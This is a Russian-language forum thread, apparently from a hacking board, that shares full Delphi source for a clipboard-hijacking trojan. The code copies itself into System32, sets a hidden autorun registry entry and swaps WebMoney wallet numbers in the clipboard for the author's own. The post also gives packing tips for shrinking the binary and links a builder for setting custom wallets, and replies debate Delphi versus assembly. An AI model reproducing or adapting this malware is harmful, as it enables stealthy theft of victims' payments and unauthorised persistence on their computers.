ВМ-Трой на Delphi

Вот исходни простенького ВМ-троя... В общем-то ни чего сложного и в пояснении не нуждается.... Сидит в авторане и подменяет в буфере обмена номер кошелька на заранее заданный при компиляции)))

Code:

{$M 1000000}
program wmtroj;

type
  BOOL = BOOLEAN;
  HGLOBAL = THandle;
  HWND = LongWord;
  UINT = LongWord;
  DWORD = LongWORD;
  LPCSTR = PAnsiChar;
const
  CF_TEXT = 1;
  GMEM_MOVEABLE = 2;
  GMEM_DDESHARE = $2000;
  SW_HIDE = 0;
  user32 = 'user32.dll';
  kernel32 = 'kernel32.dll';
  Name = 'c:\WINDOWS\System32\xuser.exe';

function OpenClipboard(hWndNewOwner: HWND): BOOL; stdcall; external user32 name 'OpenClipboard';
function GetClipboardData(uFormat: UINT): THandle; stdcall; external user32 name 'GetClipboardData';
function GlobalLock(hMem: HGLOBAL): Pointer; stdcall; external kernel32 name 'GlobalLock';
function GlobalSize(hMem: HGLOBAL): DWORD; stdcall; external kernel32 name 'GlobalSize';
function GlobalUnlock(hMem: HGLOBAL): BOOL; stdcall; external kernel32 name 'GlobalUnlock';
function CloseClipboard: BOOL; stdcall; external user32 name 'CloseClipboard';
function GlobalAlloc(uFlags: UINT; dwBytes: DWORD): HGLOBAL; stdcall; external kernel32 name 'GlobalAlloc';
function SetClipboardData(uFormat: UINT; hMem: THandle): THandle; stdcall; external user32 name 'SetClipboardData';
function GlobalFree(hMem: HGLOBAL): HGLOBAL; stdcall; external kernel32 name 'GlobalFree';
procedure Sleep(dwMilliseconds: DWORD); stdcall; external kernel32 name 'Sleep';
function CopyFile(lpExistingFileName, lpNewFileName: PChar; bFailIfExists: BOOL): BOOL; stdcall; external kernel32 name 'CopyFileA';
function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall; external kernel32 name 'WinExec';
function EmptyClipboard: BOOL; stdcall; external user32 name 'EmptyClipboard';

const
  Z = 'U11111111111';
  R = 'E22222222222';
  E = 'R33333333333';
  U = 'Z44444444444';


function IsWMNumber(Str: String; Pos: Integer): Boolean;
var
  I: Integer;
begin
  Result := False;
  for i := Pos to Pos + 11 do
  if not (Char(Str[i]) in ['0'..'9']) then
    Exit;
  Result := True;
end;

procedure GetClipboardText(var Str: String);
var
  hData: HGlobal;
begin
  OpenClipboard(0);
  hData := GetClipboardData(CF_TEXT);
  SetString(Str, PChar(GlobalLock(hData)), GlobalSize(hData));
  GlobalUnlock(hData);
  Str := PChar(@Str[1]);
  CloseClipboard;
end;

procedure SetClipboardText(Value: String);
var
  hData: HGlobal;
  pData: pointer;
  Len: integer;
begin
  OpenClipboard(0);
  Len := Length(Value) + 1;
  hData := GlobalAlloc(GMEM_MOVEABLE or GMEM_DDESHARE, Len);
  pData := GlobalLock(hData);
  Move(PChar(Value)^, pData^, Len);
  EmptyClipboard;
  SetClipboardData(CF_Text, hData);
  GlobalUnlock(hData);
  GlobalFree(hData);
  CloseClipboard;
end;

procedure ReplaceText(var Text: String; ReplaceTo: String; ReplacePos: Integer);
begin
  Delete(Text, ReplacePos, 13);
  Insert(ReplaceTo, Text, ReplacePos);
  SetClipboardText(Text);
end;

procedure Main;
var
  ClipBoard: String;
  I: Integer;
begin
  GetClipboardText(ClipBoard);
  if ClipBoard <> ''then
    for i := 0 to Length(ClipBoard) do
      case ClipBoard[i] of
        'U', 'u': if IsWMNumber(ClipBoard, I + 1) then ReplaceText(ClipBoard, U, I);
        'E', 'e': if IsWMNumber(ClipBoard, I + 1) then ReplaceText(ClipBoard, E, I);
        'R', 'r': if IsWMNumber(ClipBoard, I + 1) then ReplaceText(ClipBoard, R, I);
        'Z', 'z': if IsWMNumber(ClipBoard, I + 1) then ReplaceText(ClipBoard, Z, I);
      end;
  Sleep(100);
end;

begin
  if ParamStr(0) <> Name then
  Begin
    CopyFile(PChar(ParamStr(0)), Name, False);
    WinExec(PChar('cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v xcoder /t REG_SZ /d '+name+' /f'),SW_Hide);
  end;
  while True do Main;
end.

При желании можно очень просто уменьщить размер этого троя до 1,7кб))) Для делфи это не много)) (сейчас размер - упакованные FSG2 9797 байт)... Что бы уменьшить размер до указанного размера нужно переписать процедуры на работу без типа string и откомпилировать с урезанной RTL, а затем упаковать FSG2... Можно конечно и без FSG2 получить размер ещё меньше если оформить это барахло ввиде модуля и компильнуть)))

Если кому-то интересно вот билдер (с сорцами), для забивания без компиляции своих номеров:
http://virusoff.pisem.su/WMX.rar

 

а можно еще легче для этого надо забить на делфы

 

Если ты считаешь что писать на асм - это легче, то это либо понты, либо мы имеем дело с настоящим гуру асма, которому на асме проще)))) Все изменения делаются за несколько минут... поэтому проще просто не придумаешь... Кстати на асме - это будет не на много компактней... т.к. при компиляции модулем в принципе генерируется .obj файл очень схожий с асмовским и собираем мы это всё асмовским линкером...
Короче это я то же считаю флеймом))) ... Ни чего контрекного, только очередной безпощадный и необоснованый камень в сторону Делфи, щаз видимо это стало модно))) И как правило это делают те кто ни в чем не алё)))

 

Code:

WinExec(PChar('cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre  ntVersion\Run /v xcoder /t REG_SZ /d '+name+' /f'),SW_Hide); 

Очень умно.
Помню где-то читал про этих WM троев и их автозагрузку. Воспоминания:

Типо такого чё-то.

 

/me надеялся увидеть билдер. оказался очередной конфигуратор=\